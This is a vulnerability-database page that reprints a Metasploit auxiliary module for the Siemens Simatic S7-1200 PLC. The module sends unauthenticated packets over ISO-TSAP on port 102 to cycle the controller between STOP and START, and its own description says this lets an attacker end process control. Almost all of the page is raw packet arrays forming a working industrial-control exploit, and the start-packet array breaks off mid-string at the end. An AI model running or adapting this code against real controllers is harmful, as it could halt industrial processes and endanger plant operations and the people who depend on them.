Siemens Simatic S7 1200 CPU command module

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1047015 漏洞类型
发布时间 2012-07-15 更新时间 2012-07-15
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2012070096
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
# Exploit Title: Siemens Simatic S7 1200 CPU command module
# Date: 7-13-2012
# Exploit Author: Dillon Beresford
# Vendor Homepage: http://www.siemens.com/
# Tested on: Siemens Simatic S7-1200 PLC
# CVE : None
 
require 'msf/core'
 
class Metasploit3 < Msf::Auxiliary
     
    include Msf::Exploit::Remote::Tcp
    include Rex::Socket::Tcp
    include Msf::Auxiliary::Scanner
 
    def initialize(info = {})
        super(update_info(info,
          'Name'=> 'Siemens Simatic S7-1200 CPU START/STOP Module',
          'Description'   => %q{
                The Siemens Simatic S7-1200 S7 CPU start and stop functions over ISO-TSAP
                this modules allows an attacker to perform administrative commands without authentication.
                This module allows a remote user to change the state of the PLC between
                STOP and START, allowing an attacker to end process control by the PLC.
            },
          'Author'          => 'Dillon Beresford',
          'License'                 => MSF_LICENSE,
          'References'     =>
                [
                    [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ],
                    [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ],
                ],
            'Version'        => '$Revision$',
          'DisclosureDate' => 'May 09 2011'
          ))
            
          register_options(
              [
                  Opt::RPORT(102),
                  OptInt.new('MODE', [false, 'Set true to put the CPU back into RUN mode.',false]),
                  OptInt.new('CYCLES',[true,"Set the amount of CPU STOP/RUN cycles.",10])
            ], self.class)
        end
     
    def run_host(ip)
        begin
         
        cpu = datastore['MODE'] || ''
        cycles = datastore['CYCLES'] || ''
         
        stop_cpu_pkt = [
                 
                "\x03\x00\x00\x16\x11\xe0\x00\x00"+
                "\x00\x3a\x00\xc1\x02\x06\x00\xc2"+
                "\x02\x06\x00\xc0\x01\x0a",
                 
                "\x03\x00\x00\xad\x02\xf0\x80\x72"+
                "\x01\x00\x9e\x31\x00\x00\x04\xca"+
                "\x00\x00\x00\x01\x00\x00\x01\x20"+
                "\x30\x00\x00\x01\x1d\x00\x04\x00"+
                "\x00\x00\x00\x00\xa1\x00\x00\x00"+
                "\xd3\x82\x1f\x00\x00\xa3\x81\x69"+
                "\x00\x15\x16\x53\x65\x72\x76\x65"+
                "\x72\x53\x65\x73\x73\x69\x6f\x6e"+
                "\x5f\x38\x43\x33\x32\x38\x46\x37"+
                "\x32\xa3\x82\x21\x00\x15\x00\xa3"+
                "\x82\x28\x00\x15\x00\xa3\x82\x29"+
                "\x00\x15\x00\xa3\x82\x2a\x00\x15"+
                "\x09\x50\x4c\x43\x54\x45\x53\x54"+
                "\x45\x52\xa3\x82\x2b\x00\x04\x01"+
                "\xa3\x82\x2c\x00\x12\x01\xc9\xc3"+
                "\x80\xa3\x82\x2d\x00\x15\x00\xa1"+
                "\x00\x00\x00\xd3\x81\x7f\x00\x00"+
                "\xa3\x81\x69\x00\x15\x15\x53\x75"+
                "\x62\x73\x63\x72\x69\x70\x74\x69"+
                "\x6f\x6e\x43\x6f\x6e\x74\x61\x69"+
                "\x6e\x65\x72\xa2\xa2\x00\x00\x00"+
                "\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x40\x02\xf0\x80\x72"+
                "\x01\x00\x31\x31\x00\x00\x04\xfc"+
                "\x00\x00\x00\x02\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x32\x01\x9a\x7b"+
                "\x00\x00\x04\xe8\x89\x69\x00\x12"+
                "\x00\x00\x00\x00\x89\x6a\x00\x13"+
                "\x00\x89\x6b\x00\x04\x00\x00\x00"+
                "\x00\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x03\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x20\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x04\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x31\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x05\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x32\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x06\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x33\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x07\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x34\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x08\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x40\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x09\x00\x00\x03\x84"+
                "\x30\x88\xe1\x00\x08\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x0a\x00\x00\x03\x84"+
                "\x30\x88\xe1\x00\x07\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x0b\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x21\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x0c\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x41\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x0d\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x20\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x0e\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x31\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x0f\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x32\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x10\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x33\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x11\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x34\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x12\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x40\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x13\x00\x00\x03\x84"+
                "\x30\x88\xe1\x00\x08\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x14\x00\x00\x03\x84"+
                "\x30\x88\xe1\x00\x07\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x15\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x21\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x16\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x41\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x2b\x02\xf0\x80\x72"+
                "\x01\x00\x1c\x31\x00\x00\x04\xbb"+
                "\x00\x00\x00\x17\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x08\x00\x00\x01"+
                "\x01\x00\x00\x00\x00\x00\x00\x72"+
                "\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\xa3\x02\xf0\x80\x72"+
                "\x01\x00\x94\x31\x00\x00\x04\xca"+
                "\x00\x00\x00\x18\x00\x00\x03\x84"+
                "\x30\x00\x00\x03\x85\x00\x04\x00"+
                "\x00\x00\x00\x00\xa1\x4e\x00\x00"+
                "\x00\x87\x69\x00\x00\xa3\x81\x69"+
                "\x00\x15\x17\x53\x75\x62\x73\x63"+
                "\x72\x69\x70\x74\x69\x6f\x6e\x5f"+
                "\x31\x33\x30\x38\x36\x32\x32\x38"+
                "\x34\x38\xa3\x87\x6a\x00\x03\x00"+
                "\x00\xa3\x87\x6b\x00\x09\x00\xa3"+
                "\x88\x10\x00\x02\x02\xa3\x88\x11"+
                "\x00\x01\x01\xa1\x4e\x00\x00\x02"+
                "\x94\x66\x00\x00\xa3\x81\x69\x00"+
                "\x15\x00\xa3\x87\x6d\x00\x02\x02"+
                "\xa3\x94\x63\x10\x03\x0a\x00\x00"+
                "\x00\x00\x00\x00\x00\x00\x00\x00"+
                "\x00\x00\x00\x00\x00\x00\x00\x00"+
                "\x00\x00\xa4\x94\x64\x00\x00\x00"+
                "\x08\xa2\xa2\x00\x00\x00\x00\x72"+
                "\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x43\x02\xf0\x80\x72"+
                "\x01\x00\x34\x31\x00\x00\x04\xf2"+
                "\x00\x00\x00\x19\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x34\x01\x90\x77"+
                "\x00\x08\x01\x00\x00\x04\xe8\x89"+
                "\x69\x00\x12\x00\x00\x00\x00\x89"+
                "\x6a\x00\x13\x00\x89\x6b\x00\x04"+
                "\x00\x00\x00\x00\x00\x00\x00\x72"+
                "\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x3d\x02\xf0\x80\x72"+
                "\x01\x00\x2e\x31\x00\x00\x04\xd4"+
                "\x00\x00\x00\x1a\x00\x00\x03\x84"+
                "\x30\x4e\x00\x00\x00\x00\x00\x00"+
                "\x04\xe8\x89\x69\x00\x12\x00\x00"+
                "\x00\x00\x89\x6a\x00\x13\x00\x89"+
                "\x6b\x00\x04\x00\x00\x00\x00\x00"+
                "\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x3d\x02\xf0\x80\x72"+
                "\x01\x00\x2e\x31\x00\x00\x04\xd4"+
                "\x00\x00\x00\x1b\x00\x00\x03\x84"+
                "\x30\x00\x00\x03\x84\x00\x00\x00"+
                "\x04\xe8\x89\x69\x00\x12\x00\x00"+
                "\x00\x00\x89\x6a\x00\x13\x00\x89"+
                "\x6b\x00\x04\x00\x00\x00\x00\x00"+
                "\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00"
              ]
               
        start_cpu_pkt = [
         
                "\x03\x00\x00\x16\x11\xe0\x00\x00"+
                "\x00\x42\x00\xc1\x02\x06\x00\xc2"+
                "\x02\x06\x00\xc0\x01\x0a",
                 
                "\x03\x00\x00\xad\x02\xf0\x80\x72"+
                "\x01\x00\x9e\x31\x00\x00\x04\xca"+
                "\x00\x00\x00\x01\x00\x00\x01\x20"+
                "\x30\x00\x00\x01\x1d\x00\x04\x00"+
                "\x00\x00\x00\x00\xa1\x00\x00\x00"+
                "\xd3\x82\x1f\x00\x00\xa3\x81\x69"+
                "\x00\x15\x16\x53\x65\x72\x76\x65"+
                "\x72\x53\x65\x73\x73\x69\x6f\x6e"+
                "\x5f\x34\x46\x32\x44\x42\x37\x32"+
                "\x44\xa3\x82\x21\x00\x15\x00\xa3"+
                "\x82\x28\x00\x15\x00\xa3\x82\x29"+
                "\x00\x15\x00\xa3\x82\x2a\x00\x15"+
                "\x09\x50\x4c\x43\x54\x45\x53\x54"+
                "\x45\x52\xa3\x82\x2b\x00\x04\x01"+
                "\xa3\x82\x2c\x00\x12\x01\xc9\xc3"+
                "\x80\xa3\x82\x2d\x00\x15\x00\xa1"+
                "\x00\x00\x00\xd3\x81\x7f\x00\x00"+
                "\xa3\x81\x69\x00\x15\x15\x53\x75"+
                "\x62\x73\x63\x72\x69\x70\x74\x69"+
                "\x6f\x6e\x43\x6f\x6e\x74\x61\x69"+
                "\x6e\x65\x72\xa2\xa2\x00\x00\x00"+
                "\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x40\x02\xf0\x80\x72"+
                "\x01\x00\x31\x31\x00\x00\x04\xfc"+
                "\x00\x00\x00\x02\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x32\x01\x9a\x7b"+
                "\x00\x00\x04\xe8\x89\x69\x00\x12"+
                "\x00\x00\x00\x00\x89\x6a\x00\x13"+
                "\x00\x89\x6b\x00\x04\x00\x00\x00"+
                "\x00\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x40\x02\xf0\x80\x72"+
                "\x01\x00\x31\x31\x00\x00\x04\xfc"+
                "\x00\x00\x00\x03\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x31\x01\x9d\x29"+
                "\x00\x00\x04\xe8\x89\x69\x00\x12"+
                "\x00\x00\x00\x00\x89\x6a\x00\x13"+
                "\x00\x89\x6b\x00\x04\x00\x00\x00"+
                "\x00\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x04\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x20\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x05\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x31\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x06\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x32\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x07\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x33\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x08\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x34\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x09\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x40\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x0a\x00\x00\x03\x84"+
                "\x30\x88\xe1\x00\x08\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
 
                "\x03\x00\x00\x07\x02\xf0\x00",
 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x0b\x00\x00\x03\x84"+
                "\x30\x88\xe1\x00\x07\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x0c\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x21\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x0d\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x41\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x27\x02\xf0\x80\x72"+
                "\x01\x00\x18\x31\x00\x00\x05\x24"+
                "\x00\x00\x00\x0d\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x41\x91\x5e\x00"+
                "\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x0e\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x20\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x0f\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x31\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x10\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x32\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x11\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x33\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x12\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x34\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x13\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x40\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x14\x00\x00\x03\x84"+
                "\x30\x88\xe1\x00\x08\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x15\x00\x00\x03\x84"+
                "\x30\x88\xe1\x00\x07\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x16\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x21\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x17\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x41\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x2b\x02\xf0\x80\x72"+
                "\x01\x00\x1c\x31\x00\x00\x04\xbb"+
                "\x00\x00\x00\x18\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x08\x00\x00\x01"+
                "\x01\x00\x00\x00\x00\x00\x00\x72"+
                "\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\xa3\x02\xf0\x80\x72"+
                "\x01\x00\x94\x31\x00\x00\x04\xca"+
                "\x00\x00\x00\x19\x00\x00\x03\x84"+
                "\x30\x00\x00\x03\x85\x00\x04\x00"+
                "\x00\x00\x00\x00\xa1\x5d\x00\x00"+
                "\x00\x87\x69\x00\x00\xa3\x81\x69"+
                "\x00\x15\x17\x53\x75\x62\x73\x63"+
